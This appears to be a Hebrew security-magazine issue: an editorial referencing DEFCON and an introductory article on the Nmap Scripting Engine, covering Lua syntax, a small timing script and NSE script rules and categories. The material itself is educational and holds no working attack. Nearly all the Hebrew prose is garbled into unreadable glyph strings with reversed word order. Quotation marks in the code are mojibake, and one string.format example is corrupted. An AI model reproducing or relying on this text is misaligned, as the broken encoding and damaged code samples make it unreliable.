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˫˧˩˶ˣ˰ˢ ˶˟ˡ 
 

 ˤ˞˧˶˥˞ ˢ˷˧ˬ˥ ˫˧˷ˡˣ˥ ˸˧˟˪ ˳ˣ˥ˬ ,ˣ˪˞ ˧˶˟ˡ ˢ˥˧˸˲ˢ ˫˧ˮˣ˷˞˶ˢ ˫˧˟˸˩ˮ˷ ˳˶˞ˢˬ J ,˱˧˩ ˪˧˧˦˪ ˱˧˩ˣ 

˶ˣˤ˥˪... 

ˤ˞ ˢˬ ˷˧ ˢ˧ˢ ˣˮ˪ ˷ˡˣ˥ˢ ?˸˧˷˞˶ - ˫˧˯ˮ˩ˢ BlackHat x-DEFCON ˣˬ˧˧˵˸ˢ˷ ˯˞˪˟-˯˞ˠˣ,  ˧˩ ˶ˬˣ˪ ˭˸˧ˮ

˫ˢ  ˫˧ˬ˧˧˵˸ˬ˷ ˶˸ˣ˧˟ ˫˧˶˷˵ˣ˸ˬˢ ˠˮ˧˵˞ˢˢ ˧˰ˣ˶˧˞ˬ˪ ˸˥˞ .ˢˮ˷ˣˬ˩ˣ ˪˩˟ ˫˰˲ ,˸˶ˣ˷˵˸ˢ ˪˩˩ ˢ˞˶ˮˢ 

˞˴˸ ˫˰ ˸ˣ˶˸ˣ˩ ˸ˣ˧ˤ˥˸ˣ ˸ˣˡ˧˥˲ˬ ˸ˣˬˣˠ˰ˣ ˪˰ ˡ˧˸˰ˢ ˣˮ˪˷ .˟ˣ˷˥ ˸˥˵˪ ˭˸ˣ˞ ˭ˣ˟˶˰˟ ˪˟ˠˣˬ ,˫˞ˣ ˞˪ 

˫˸˧˧ˢ ˫˧˯ˮ˩˟ ,ˤ˞ ˡ˧ˬ˸ ˳˪ˬˣˬ ˸ˣ˲˴˪ ˢ˞˴˶ˢ˟ ˢˮˬˬ˷ ˢ˞˴˧ ˸˧ˤ˥˸ˢ ˭˧˟ˢ˪ˣ ˵ˣ˧ˡ˟ ˢˬ˪ ˭ˣˣ˩˸ˢ 

˶˶ˣ˷ˬˢ ,˧˩ ˪˩˩ ˢ˞˶ˮˢ ˫˧˟˸˩ˢ ˞˪ ˣ˯ˮ˧ ˶˶˟˪ ˫˧˦˶˲ˢ ˸˞  ˣ˞˵˧˧ˡ˪ ˢˤˣ ˢ˧ˢ˧ ˡ˧˵˲˸ˢ ˣˮ˪˷ ˰˧ˠ˶ˢ˪ ˸˞ 

˸ˣ˥ˣ˶ˢ . ˡˣ˥˧˧˟˶˟˥ˢ˷˩'s ˫˷ ˫˧˶˥ˣ˟ ˠ˧˴ˢ˪ ˫˧˶˵˥ˬ ˫ˢ˪˷ ˪˰ ˴˧˶˲ ˪s˫˧˵˷ˮ ˫˧ˬ˩˥ ,˧ˮˣ˩ˬ ˸˲˧˦˷ 

˫˧˟˩˶ ˸ˣˮˣ˩ˬˣ ˧˲˪˵. ˢ˞˶ˮ ˨˪ˣˢ˷ ˸ˣ˧ˢ˪ ˥ˬ˷ (: 

 ˧˶˷˵ˢ˟ ˶˧˩ˤˢ˪ ˢˣˣ˷˷ ˸˲˯ˣˮ ˢˡˣ˵ˮDEFCON " :˫˷˟ ˦˥ˣ˷ ˭ˡ˰ˣ ˤ˶ ˶˟ˮ˰ ˪˷ ˢ˞˴˶ˢˢ ˞˧ˢFrom 

the story of the early days of the Israeli hacking  -One Floppy" to "Startup Nation"  -"One Country 

wards today's vibrant startup scenecommunity, and the journey to" , ˰ˬ˷ˮ ˞˪ ˸˶˸ˣ˩ˢ ˧˲˪

 ˞˪ ˫˰ ˪ˢ˵ˢ ˸˞ ˣ˲˸˷˧ ˫ˢ˷ ˢ˞˶ˮ ˪˟˞ ,˫˧˦˧˟ ˣ˧ˢ˧ ˞˪ ˸ˣˠ˴ˬ˟˷ ˢ˞˶ˮ˩ˣ ,˸˧ˠˣ˪ˣˮ˩˦ ˢ˞˴˶ˢ˟ ˶˟ˣˡˬ˷

 .˳˶˞˟ ˠˮ˧˵˞ˢˢ ˸ˮ˧˴˯ ˪˷ ˢ˸˧˷˞˶ˬ ˫˧˶ˣ˲˧˯ ˦˰ˬ ˸ˣ˞˶˪ ˧˪ ˞˴˧ ˞˪ ˤ˞ ,ˢˮ˷ˢ ˫˧˯ˮ˩˟ ˧˸˲˸˸˷ˢ ˞˪

˷ ˧˪ ˶ˣ˶˟ ˪˟˞ ,˭˧˧ˡ˰ ˢ˸ˣ˞.ˣˬ˯˶ˣ˲˧ ˫˧˶ˬˣ˥ˢ˷ ˰ˠ˶˟ ˢ˸ˣ˞ ˢ˞˶˞ 

ˢˬ ˡˣ˰ ˢ˧ˢ ˣˮ˪ ˷ˡˣ˥ˢ ?˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧ˮ˞˷ ˞˪ ˪˩ ˨˩ ˭˩ˡˣ˰ˬ ,˪˟˞ ˵˶ ˢˮˣ˶˥˞˪ ˧˸˧˞˶ ˸˞ ˢˤ: ˸˥˞ 

˸ˣ˶˟˥ˬ ˫˧ˮˠˤˬˢ ˸ˣ˪ˣˡˠˢ ˳˶˞˟ ˣ˪˥ˢ ˵ˣˣ˷˪ ˸˶ˡ˯ ˫˧ˮˠˤˬ ˭˸˧ˮ˷ ˦ˣ˪˷˪ ˫ˢ˟ ˸˷˶ˬ ˦ˮ˶˦ˮ˧˞ˢ ˨˶ˡ 

˸˷˶ s-WiFi ˸˧˸˧˧˟ˢ ,˪˟˵˪ˣ ˫ˢˬ ˸ˣ˞˶˸ˢ ˭ˣ˲˦˶˞ˬ˯˪ ˫˩˪˷. ˭˩ ...˫˧˦˲˷ˬˢ ˫˧ˮˣ˷˞˶ˢ ˣ˴˲˵˷ ˧˪ 

˷˞˶˪ ˢˤ" :ˢˮ˧ˢ ˡˣ˰ ˞˯˲ˣ˵ ˸˷˱˸˸˷ ˸˲˵˸ˬ˟ s-DDoS ˢ˞˟ˢ ,"-x"˭˧˧ˮ˰ˬ ˢˬ˩ ˫˩ˣ˸ˬ ˶˟˩ ˣ˪˥ˢ 

˸ˣ˶˩˪ ˭˧ˣ˵˦˧˟ ˞˪˪ ˸˰˧ˡ˧ ˫ˢ˧˪˰˟ ,"˭˟ˣˬ˩ˣ" :ˢˬ ˧ˣ˩˧˯ˢ ˧ˮ˞˷ ˶˧˩ˬ ˣˢ˷˧ˬ ˷˧˷ x˪ ˢˤ˩ ,"?˧˩ ˢˬ ˸ˣ˷˰˪ ,

˸ˣ˶ˬ˪ ˡˣ˰˷ ˞˪ ˧˸˴˶ˢ ˪˰ ˭ˠˤˬ ˢˤ˩ nmap ,˧ˡ ˶ˣ˶˟ ˧˪ ˧ˮ˞˷ ˞˪ ˰˸˲ˣ˞ ˸ˣ˞˴ˣ˸ˬ ˢ˵˧˶˯ˢ...  ˧˪ˣ˞ ,˟ˠ˞

 ˫˧˶˶˥˷ˬˣ ˫˧ˬ˥ ˫˧˷ˡˣ˥ ˰˴ˬ˞˟ ˢˢˣ˟ˠ ˢ˶ˣ˦˶˲ˬ˦ ˪˰ ˭ˠˤˬˢ ˸˪˧˰ˮ :ˣˮ˪˷ ˵ˣ˥˶ ˞˪ˢ ˡ˧˸˰ˢ ˢ˞˶˧ ˢ˩˩

˸˧˞˵ˮ˟ ˢ˶˟˰ˢ ˶˥˞˪ ˵˶ ." ˢˤ˪ ˣ˞˶˵˧Airsomware..." 

˶ ˭ˣ˧˪ˠˢ ˣ˸ˣ˩ˤ˟˷ ˧ˬ ˪˩˪ ˢ˟˶ ˢˡˣ˸ ˡ˧ˠˢ˪ ˢ˴˶ˮ ,ˣˬ˴˰ ˭˩ˣ˸˪ ˷ˠ˧ˮ˷ ˧ˮ˲˪ ˢ˧ˮ˷ ˷ˬˬ ˢ˟˶ ˢˡˣ˸ ,˶ˣ˞ ˢ˞ˣ

-˪bindh3x ,ˢˡˣ˸ ˢ˟˶ ˪˪˞ˠ˧ ˦ˮ˲˪˞ ,ˢˡˣ˸ ˢ˟˶ ˪˶ˬˣ˸ ˸˧ˤ ,ˢˡˣ˸ ˢ˟˶ ˪˶˥˷ ˦ˣ˶ˣ˵ )Hutch( ,ˢˡˣ˸ 

ˢ˟˶ ˪˱˧˯˩ ˪˵ˡ x˪ ˢ˟˶ ˢˡˣ˸˪˦ ˪˟˫ˣ . ˭˟ˣˬ˩ˣ- !˫˴˷ ˧ˬ˪ ˪˵ ˫ˣ˴ 

      ˢˬ˧˰ˮ ˢ˞˧˶˵, 

˶ˡ˞ ˶˧ˮˣ ˪˞˧˦˯˵ ˵˧˲˞ 

https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Raz
https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Raz
https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Raz
https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Raz
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Nmap Scripting Engine 
 ˸˞ˬbindh3x 

 

ˢˬˡ˵ˢ 

 ˞ˣˢ ˣˮ˪˷ ˪ˮ˯˶˞˟ ˧˯˧˯˟ ˧˩ˢ ˧˪˩ˢNmap ˦˰ˬ˩ .20 ˤ˞ˬ ˣ˶˟˰ ˢˮ˷ ˷-fyodor .˦˵˧ˣ˶˲ˢ ˪˰ ˤ˧˶˩ˢ  ˫˰

 ˧˪˩ˢ ˫˧ˮ˷ˢ˟ˣ˸˩˷ ,˫˧ˣˮ˧˷ ˢ˟˶ˢ ˶˟˰ ˬ-C ˪-C++ ˢ˩˧ˬ˸ ˟-IPv6 .ˢˬ˩ ˡˣ˰ˣ  ˧˩ˢ ˧ˣˮ˧˷ˢ ˵˲˯ ˞˪˪ ˪˟˞

 ˶˟ˬ˴ˡ˟ ˢ˶˵ ˧˸ˣ˰ˬ˷ˬ2006 ˢ˷˩-Nmap Scripting Engine ˯ˮ˩ˮ ˪-mainline  ˢ˯˶ˠ)ALPHA14.21.( 

 ˣ˟˸˩ˮ ˤ˞ˬ˫˧˟˸˩ˮˣ ˫˧˷ˬ˸˷ˬˢ ˣˮ˪ .ˢ˶˦ˬˣ ˪ˣ˵˦ˣ˶˲ ˪˩˪ ˸ˣ˧˶˲˯ˣ ˫˧˦˲˧˶˵˯ ˸ˣ˞ˬ ˧˪˩˪  ˪˴ˮ˪ ˵˶ ˶˸ˣˮ

˪˷ ˸ˣ˪ˣ˩˧ˢ ˸˞-Nmap.  

ˡ˵ˬ˸˞ ˞˟ˢ ˶ˬ˞ˬ˟ ˟-Nmap Script Engine ,˫˧˴˶ ˫˧˦˲˧˶˵˯ˢ ˡ˴˧˩ .ˢ˪˥˸ˢˢˬ . ˸˟˧˸˩ ˱ˣ˯˟˪ˣ ,ˢˮ˟ˬ

ˣˢ˷ˬ ˢ˷ˣ˰ ˢ˶˩˷˞˷ ˡˣ˵. :˫˧˵˪˥ ˢ˷˧ˬ˥˪ ˵˪ˣ˥ˬ ˶ˬ˞ˬˢ 

1. ˨˧˶ˡˬ ˶˴˶˴˵ ˸˲˷˪ ˸ˣˮ˩˸ˢ Lua. 

2. ˢ˶ˣ˦˵˦˧˩˶˞. 

3. ˸ˣ˧˶ˣˠ˦˵. 

4. ˸˶ˣ˷ ˢˡˣ˵˲ˢ 

5. Hello Nmap Scripting Engine 

.˰ˡ˧ˢ ˸ˬ˶ ˧˲˪ "˫˧˵˪˥" ˪˰ ˠ˪ˡ˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶˸ 

!ˢˮˢˬ ˢ˞˧˶˵ 

 

  

https://nmap.org/changelog.html#4.21ALPHA1
https://github.com/nmap/nmap/pulls?utf8=✓&q=NSE%20is%3Apr%20is%3Aopen%20
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Lua 

Lua .˸˧ˮˣ˩˯˥ˣ ˢ˶˧ˢˬ ˸ˣˮ˩˸ ˸˲˷ ˞˧ˢ ˟ ˢ˟˸˩ˮ˷-C ˢˮ˧˞ ˢ˲˷ˢ .˫˧˟˞˷ˬ ˸ˣ˪ˡ ˸ˣ˩˶˰ˬ˪ ˢˡˣ˰˧˧ˣ ,

.ˢ˲˷˟ ˫˧ˬ˴˰ ˸˧˥ˮˣˬ ˸ˣˠˢˮ˸ˢ ˸ˣ˵˥˪ ˭˸˧ˮ ˪˟˞ .˫˧ˬ˴˰ ˸˧˥ˮˣˬ  ˥ˣ˸˲ ˡˣ˵ ˧˦˵˧ˣ˶˲ ˡˣ˞ˬ ˢ˟˶ˢ

 ˫˰ ˡˣ˵ˢ ˯˧˯˟ ˪ˣˬ ˡˣ˟˰˪ ˫˧˸ˮ˩˸ˬ˪ ˫˧˶˷˲˞ˬˣ .˫ˢ˪˷ ˡˣ˵˟ ˢ˲˷ˢ ˸˞ ˫˧˟˪˷ˬLua ˪ˡ˥ˬ ˸˶˧˶˟˟ .

 ˸ˣ˧˶˲˯ˣ ˢ˲˷ˢ ˪˷ ˷ˣˬ˧ˬ ˵˶ ˫˧˪˟˵ˬ ˣˮ˥ˮ˞ ,˸ˣ˸˷˶ ˫˰ ˢˡˣ˟˰˪ ˢ˧˶˲˯ ˭˧˞ ˢ˲˷ˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵˟

 ˣˬ˩ ˸ˣ˧˯˧˯˟os/math .ˢˬˣˡ˩ˣ ˨˞  ˪˷ ˫˧˥˸˲ˬˢ ˢˠ˞ˡ ˪˞Nmap  ˸ˣ˧˶˲˯ˢ ˸˞ ˣˮ˪˧˟˷˟ ˣ˷ˬ˧ˬ ˶˟˩

.ˣˮˬ˴˰˟ ˫˸ˣ˞ ˫˷˧˧˪ ˨˶˦˴ˮ ˞˪˷ ˨˩ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ ˸ˣ˸˷˶ ˫˰ ˢˡˣ˟˰˪ ˸ˣ˷˶ˡˮˢ 

 
˫˧ˮ˸˷ˬ 

-˟Lua ˪˩ ˢˮ˸˷ˬ ˞ˣˢ ˧˪˟ˣ˪ˠ )ˣ˪˧˲˞ ˢˮ˸˷ˬ ˨ˣ˸˟ ˢ˧˴˵ˮˣ˲ .(!˞˪˞ ˫˞ ˞ˣˢ ˶ˡˠˣˢ ˫˰ ˢ˪˧ˬˢ ˢ˶ˣˬ˷ˢ 

"local .ò˭˧˞ ˨˶ˣ˴ ˭˧˧˴˪ ˸˞ ˠˣ˯ ˢˮ˸˷ˬˢ Lua ˢˢˤ˸ ˸˞ ˠˣ˯ ˨˶˰ˢ ˟˧˴ˮ˷ ˢˮ˸˷ˬ˪ )˸ˤˣ˶˥ˬ ,˶˲˯ˬ ˫˪˷ 

ˣ˩ˣ ('˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ .˧ˡ˩ ˰ˮˬˢ˪ ˡˣˠ˧ˮˬ ˷ˬ˸˷ˮ ˟-"local ò˶˷˞˩ ˶˧ˡˠˮ ˫˧ˮ˸˷ˬ) .ˢ˞ ˫ˠˣ ˫˧ˮ˸˷ˬ 

˫˧ˬˣ˵ˬ ˫˧˶˧ˢˬ ˶˸ˣ˧ ˭ˬˤ˟ ˢ˴˧˶.( 

:˞ˬˠˣˡ˪ 

local  x = 1 

local  y = 2 

local  z = "Hello, World!"  

 

function  x()  

 local  x = "Hello, World"  

end  

˸ˣ˧˴˵ˮˣ˲ 

 ˞ˬˠˣˡˢˬ ˫˸ˮ˟ˢ ˶˟˩˷ ˧˲˩˫˧ˮ˸˷ˬ˟  ˢ˧˴˵ˮˣ˲ ˸˶ˡˠˢ˪ ˢ˴ˣ˲ˮ ˧˩ˢ ˨˶ˡˢ-˟Lua :˞˧ˢ 

function  say_hello (name)  

 print (ñHello, ò ..  name)  

end  

˷ˬ˩ ˫ˠ ˶˷˲˞ˣ:ˢˮ˸ 

local  say_hello = function (name)  

 print (ñHello, ñ ..  name)  

end  

˟˟ ˸˧ˮ˟ˣˬ ˢ˩˧ˬ˸ ˭˧˞ ˢ˲˷-string formatting ˟ ˟˸˩ˮ˷ ˡˣ˵-Python :ˢ˞˟ˢ ˢ˶ˣ˴˟ 

print (ñHello %sò % (ñWorldò)) 

˟˸˩˧ ˟-lua ˢ˶ˣ˴˟ ˢ˞˟ˢ: 

print(string.formatόάIŜƭƭƻ %ǎέΣ ά²ƻǊƭŘέύύˣˬ˧˷ ˟˪ ˣˮ˞˷ ˫˧˷ˬ˸˷ˬ ˢ˧˴˵ˮˣ˲˟ format ˢ˧˶˲˯ˢˬ 

string. 

:˸ˣˤˣ˶˥ˬ ˶ˣ˟˧˥ 
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local  x = ñHello, ò ..  ñWorldò 

 ˧˩ˢ ˨˶ˡˢ ˢ˴ˣ˲ˮ-˟Lua ) ˸˧ˬ˪ˣ˯ ˸˲˯ˣˢ ˞˧ˢ ˫˧ˣ˯ˬ ˨˶˰ ˪˷ ˪ˡˣˠ ˸˪˟˵˪#:ˢˮ˸˷ˬˢ ˫˷ ˧ˮ˲˪ ( 

print (#x) Ÿ 10  

˸˪˟˵˪ ˫ˠ ˱˵˸ ˶˟ˡ ˣ˸ˣ˞  ˫˧˩˶˰ˬ ˪˷ ˫˪ˡˣˠ.ˢ˲˷˟ 

˪ˡˣˬ ˞ˣ˟˧ 

 " ˢ˶ˣˬ˷ˢ ˢ˪˧ˬ˟ ˷ˬ˸˷ˮ ˢ˧˧˶˲˯ ˣ˞ ˳˟ˣ˵ˬ ˡˣ˵ ˰˦˵ ˞˟˧˧˪ ˢ˴˶ˮ˷˩require ò:˞ˬˠˣˡ˪ 

local  x = require  ñxò 

˵˶ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ˟-ñrequire ò:ˢ˞˟ˢ ˢ˶ˣ˴˟ ˢˮ˸˷ˬ˪ ˢ˟˴ˢ ˧˪˟ 

require  ñxò 

˸ˣ˶˰ˢ 

˥˞ ˢ˶ˣ˷˟ ˢ˶˰ˢ:˸ 

local  name = ñMy Nameò --  Random name 

ˢ˶˰ˢ ˸˟ˣ˶ˬ ˸ˣ˶ˣ˷: 

-- [[ This is a  

very long comment  

-- ]]  

˸ˣ˞˪ˣ˪ 

 ˸˞˪ˣ˪while: 

while  1 do 

 print (ñHello... ò) 

end  

 ˸˞˪ˣ˪for ˫˧˶˲˯ˬ ˢ˯˧˲ˡˬ˷ ˬ-1  ˡ˰10: 

for  x = 1, 10 , 1 do 

 print (x)  

end  

 ˸˞˪ˣ˪repeat: 

repeat   

 print (ñHello, World!ò) 

until  1 == 2 or  2 == 1   

 ˸˞˪ˣ˪repeat  ˸˞˪ˣ˪˪ ˢ˪˧˟˵ˬdo while ˟-C. 
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˫˧˩˶˰ˬ 

-˟Lua ) ˫˧˩˶˰ˬarrays ˫˧˞˶˵ˮ (tables. :˨˶˰ˬ˪ ˞ˬˠˣˡ 

local  my_array = {ñAppleò, ñOrangeò, ñStrawberryò} 

:˨˶˰ˬ˪ ˶˟˧˞ ˸˲˯ˣˢ 

table.insert (my_array, ñBananaò) 

:˸˧˦ˮˠ˪˞ ˶˸ˣ˧ ˢ˶ˣ˴˟ ˨˶˰ˬ˪ ˶˟˧˞ ˱˧˯ˣˢ˪ ˭˸˧ˮ 

my_array[ #my_array +1] = ñBananaò 

˶ˬˣ˪˩ ˯˵ˡˮ˧˞ˢ ˱˧˯ˣˮ˷ ˣ˧˪˞ ˸˞ ˶˟˧˞ˢ ˷ˡ˥ˢ ,ˢ˧ˢ˧ ˪ˡˣˠ ˨˶˰ˬˢ  +1 ˪˧˟˷˟ ˶˟˧˞ˢ ˷ˡ˥ˢ .˸˵˧˥ˬ 

˶˟˧˞ ˨˶˰ˬˢˬ: 

table.remove (my_array, 1)  

 ˶˲˯ˬˢ1 ) ˨˶˰ˬ˟ ˶˟˧˞ˢ ˫ˣ˵˧ˬ˪ ˯˥˧˧˸ˬindex(.:˨˶˰ˬ˟ ˫˧˩˶˰ˢ ˪˩ ˸˯˲ˡˢ 

 
for  k, v in  pairs (my_array) do 

 print (v)  

end  

 ˫˧ˣ˦˧˟˫˧ˠˣ˪ 

˞ˬˠˣˡ :˸˧˯˧˯˟ 

if  "root"  == "Administrator"  then  

 print ( "x" )  

elseif  "Windows"  ~= "Linux"  then  

 print ( "y" )  

else  

 print ( "z" )  

end  

:˶˴˵ ˶˸ˣ˧ 

if  x == y then  x else  y end  

:˫˧˴ˣ˲ˮ ˫˧ˣ˦˧˟ 

˷ˣ˶˧˲ ˧ˣ˦˧˟ 
ˢˣˣ˷ ˪ == 
˞˪ ˢˣˣ˷ ˪ ~= 

˱˯ˣˮ˟ and 
ˣ˞ or 
˪ˣˡˠ ˬ < 
˭˦˵ ˬ   > 

Time.lua 

 ˢˡˣ˵˲ˢ ˸ˣ˪ˣ˰˲ ˸˞ ˢ˵˥˸˷ ˸˧ˮ˩ˣ˸ ˟ˣ˸˩ˮ ˫ˣ˧˯˪time .˯˵˧ˮˣ˧˟ 

function  time (command)  

 local  _start = os.time ()  
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 local  time = nil ;  

 

 os.execute (command)  

 time = os.difftime ( os.time (), _start);  

 print ( string.format ( "%f" , time))  

end  

 

time( "ls - alh &&  sleep 5" )  

 ˸˞ ˞ˣ˶˵˪ ˫˩˪ ˳˧˪ˬ˞ ˧ˮ˞ˢ˨˧˶ˡˬ ˢ˲˷ˢ ˪˷ ˫˪˷ˢ  ˣˬ˩ ˢ˲˷˟ ˰ˡ˧ ˫˩˪ ˷˧ ˫˞ˣPython  ˣ˞Ruby 

.˶ˢˬ ˧ˡ ˫˧ˮ˧ˮ˰˪ ˣ˯ˮ˩˸ ˫˸˞ 

 

  

https://www.lua.org/manual/5.3/
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ˢ˶ˣ˦˵˦˧˩˶˞ 

-˟Nmap  ˫˧ˬ˧˧˵4 .ˢ˵˧˶˯ˢ ˨˪ˢˬ˟ ˫˧ˮˣ˷ ˫˧˟˪˷˟ ˫˧˴˶˷ ˫˧˦˲˧˶˵˯ ˧ˠˣ˯ 

 ˠˣ˯

˦˲˧˶˵˯ˢ 

˶ˣ˞˧˸ 

Prerule 
 ˪˰ ˫˧˪ˣ˰˲ ˞˪ ˶˷˞ ˫˧˦˲˧˶˵˯˟ ˶˵˧˰˟ ˧˷ˣˬ˧˷ ,˰ˡ˧ˬˢ ˱ˣ˯˧˞ ˧ˮ˲˪ ˣ˴ˣ˶˧˷ ˫˧˦˲˧˶˵˯

 ˪ˣ˞˷˸ ˪˷ˬ˪ .ˢˬ˴˰ ˸˷˶ˢ ˪˰ ˞˪˞ ˸ˣ˧˲˧˴˲˯ ˸ˣ˶˦ˬDHCP. 

Host 
 ˸˟ˣ˸˩ ˸˵˧˶˯ ˫ˣ˧˯ ˶˥˞˪ ˣ˴ˣ˶˧ ˶˷˞ ˫˧˦˲˧˶˵˯IP  ˫˧˦˲˧˶˵˯˪ ˧˷ˣˬ˧˷ .˸ˬ˧ˣ˯ˬ

.˧˲˧˴˲˯ ˦˶ˣ˲ ˪˰ ˫˧˪˰ˣ˲ ˞˪ ˨˞ ˢ˵˧˶˯ˢˬ ˰ˡ˧ˬ˟ ˫˧˷ˬ˸˷ˬ˷ 

Service 
˷ ˶˥˞˪ ˧˲˧˴˲˯ ˦˶ˣ˲ ˪˰ ˣ˴ˣ˶˧ ,˫˧˴ˣ˲ˮ ˧˩ˢ ˫˧˦˲˧˶˵˯ˢ-Nmap  ˪˰ ˢ˵˧˶˯ˢ ˸˞ ˫˧˧˯

.ˢ˶˦ˬˢ 

Postrule 
˷ ˶˥˞˪ ˣ˴ˣ˶˧ ˶˷˞ ˫˧˦˲˧˶˵˯-Nmap  ˦˪˲ˢ ˸˩˧˶˰˪ ˶˵˧˰˟ ˧˷ˣˬ˧˷ .ˢ˵˧˶˯ˢ ˪˩ ˸˞ ˫˧˧˯

.˧˲ˣ˯ˢ 

 

ˣ˨˩ :ˢ˞˶ˮ ˢˤ 

 

.˰˴˟˪ ˨˧˶˴ ˞ˣˢ˷ ˸ˣ˪ˣ˰˲˪ ˫˞˸ˢ˟ ˢ˧ˢ˧ ˶˥˟ˮ˷ ˦˧˲˶˵˯ˢ ˠˣ˯ 
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 ˱ˡˬ ˪"˞ˣˡ ˸˟ˣ˸˩ ˳˪˥˧˷ ˦˲˧˶˵˯ ˟ˣ˸˩˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˫˞HTML  ˢ˴˶ˮ ˤ˞ .˧˲˧˴˲˯ ˦˶ˣ˲˟ ˳˶˷

" ˠˣ˯ˬ ˢ˧ˢ˧ ˣˮ˪˷ ˦˲˧˶˵˯ˢ˷Service ò˷ ˶˥˞˪ ˶ˬˣ˪˩-Nmap  ˦˶ˣ˲˷ ˞˴ˬˣ ˢ˶˦ˬ ˵ˣ˶˯˪ ˫˧˧˯80  ,˥˧ˮˮ

 ˸˷˵˟ ˥˪˷˧ ˳ˣ˶˧ ˦˲˧˶˵˯ˢ ˤ˞ ˥ˣ˸˲HTTP ˢ ˸˞ ˡ˶ˠ˧ ,˸˶˷˪-HTML .˦˪˲ˢ ˸˞ ˣˮ˪ ˠ˧˴˧ˣ ˣ˸ˣ˞ ˥˸ˮ˧ 

 

˸ˣ˧˶ˣˠ˦˵ 

˟ ˫˧˦˧˲˶˵˯ˢ-Nmap ˪ ˫˧˵˪˥˸ˬ-14  ˭˲ˣ˞ ˧˲˪ ˫˧˦˲˧˶˵˯ˢ ˸˞ "ˠˣˣ˯˪" ˣˮ˪ ˸ˣ˶˷˲˞ˬˢ ˸ˣ˧˶ˣˠ˦˵

.˸ˣ˧˶ˣˠ˦˵ ˶˲˯ˬ ˪˧˩ˢ˪ ˪ˣ˩˧ ˡˡˣ˟ ˦˲˧˶˵˯ .˫ˢ˪˷ ˢ˪ˣ˰˲ˢ 

ˢ˧˶ˣˠ˦˵ ˶ˣ˞˧˸ 

auth ˫˧˦˲˧˶˵˯ ˫˧˰˴˟ˬˢ x˞ ˫˧˲˵ˣ˰ ˸ˣˬ˧˞ ˸˩˶˰ˬ˟. 

broadcast ˫˧˦˲˧˶˵˯ ˫˧˰˴˟ˬˢ "broadcasting ò˸˷˶˟ ˪˰ ˸ˮˬ ˱ˣ˯˞˪ ˰ˡ˧ˬ. 

brute ˫˧˦˲˧˶˵˯ ˫˧˰˴˟ˬˢ ˸ˣ˲˵˸ˬ "˥ˣ˩-˯ˠ) "˞˪ ˥˶˩ˢ˟ ˵˶ ˪˰ ˸ˣ˞ˬ˯˧˯.( 

default ˫˧˦˲˧˶˵˯ ˫˧˴˶˷ ˸˶˧˶˟˟ ˪ˡ˥ˬ ˢ˵˧˶˯˟ ˢ˞˪ˬ ˪˷ ˢ˶˦ˬˢ ˧˪˟ˬ ˭˧˧˴ˮ˷ ˫˸ˣ˞ )˪˷ˬ˪ ˢ˴˶ˢ ˫˰ sC-.( 

discovery ˫˧˦˲˧˶˵˯ ˶˷˞ "˫˧˪ˠˬ "˰ˡ˧ˬ ˞˪˪ ˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥ ˭ˢ˷˪˩. 

dos ˫˧˦˲˧˶˵˯ ˫˧˰˴˟ˬˢ ˸ˣ˲˵˸ˬ ˸˰˧ˮˬ ˸ˣ˶˧˷. 

exploit ˫˧˦˲˧˶˵˯ ˫˧˪˴ˮˬˢ\˫˧ˢˤˬ ˸ˣ˷˪ˣ˥. 

external ˫˧˦˲˧˶˵˯ ˫˧˷ˬ˸˷ˬ˷ ˡ˴˟ ˧˷˧˪˷ ˪˰ ˸ˮˬ ˪˟˵˪ ˰ˡ˧ˬ ˞ˬˠˣˡ˪ :whois. 

fuzzer ˫˧˦˲˧˶˵˯ ˫˧˥˪ˣ˷˷ ˸ˣ˪˧˟˥ ˫˰ ˭˩ˣ˸ ˧˞˶˵˞ )x˞ ˭ˣˣˠˬ (?ˢ˶˦ˬ˪ ˪˰ ˸ˮˬ ˸ˣ˪ˠ˪ ˸ˣ˷˪ˣ˥ . 

intrusive 
˫˧˦˲˧˶˵˯ ˫˧˟˷˥ˮ˷ "˫˧ˮ˶ˡˣ˥˪ "˫˧˪ˣ˩˧ˣ ˫ˣ˶ˠ˪ ˸ˣˠˢˮ˸ˢ˪ ˧˸˪˟ ˢ˧ˣ˲˴ ˢ˶˦ˬˢˬ .˨˲ˢˢ ˪˷ ˢ˧˶ˣˠ˦˵ ˸˞ˤ 

˞˧ˢ ˢ˧˶ˣˠ˦˵ˢ "safe.ò 

malware ˫˧˦˲˧˶˵˯ ˫˧˵ˡˣ˟˷ ˫˞ ˢ˶˦ˬˢ ˢ˴˧˶ˬ\ˢ˵˟ˡˮ ˢ˵ˣˤˮ˟ ˧ˢ˷˪˩. 

safe 
˫˧˦˲˧˶˵˯ ˫˧˟˷˥ˮ˷ ñ˫˧˥ˣ˦˟ò ˷ˣˬ˧˷˪ ˞˪ˣ ˫˧˶ˣˬ˞ ˫ˣ˶ˠ˪ ˵ˤˮ˪ .˪˷ˬ˪ ˦˲˧˶˵˯ ˳ˣ˪˧˥˪ ˸˶˸ˣ˩ˢ ˱ˡˬ 

HTML. 

version ˫˧˦˲˧˶˵˯ ˫˧˷ˬ˷ˬ˷ ˢ˟˥˶ˢ ˭ˣˮˠˮˬ˪ ˧ˣˢ˧ˤ ˸ˣ˞˯˶ˠˢ ˟ - Nmap. 

vuln ˫˧˦˲˧˶˵˯ ˫˧˪˴ˮˬˢ ˸ˣ˷˪ˣ˥ ˸ˣ˰ˣˡ˧ ,˨˶ˡ˟ ˪˪˩ ˫˧˥ˣˣˡˬ ˵˶ ˫˞ ˢ˶˦ˬˢ ˢ˰˧ˠ˲. 

 ˸˞ ˢ˪ˠˬ˷ ˦˲˧˶˵˯ ˟ˣ˸˩ˮ ˞ˬˠˣˡ˪ ˫˞ .˨˶ˣ˴ˢ ˧˲˪ ˫˧˦˲˧˶˵˯ˢ ˸˞ ˭ˮ˯˪ ˣˮ˪ ˶˷˲˞ˬ ˸ˣ˧˶ˣˠ˦˵˟ ˷ˣˬ˧˷ˢ

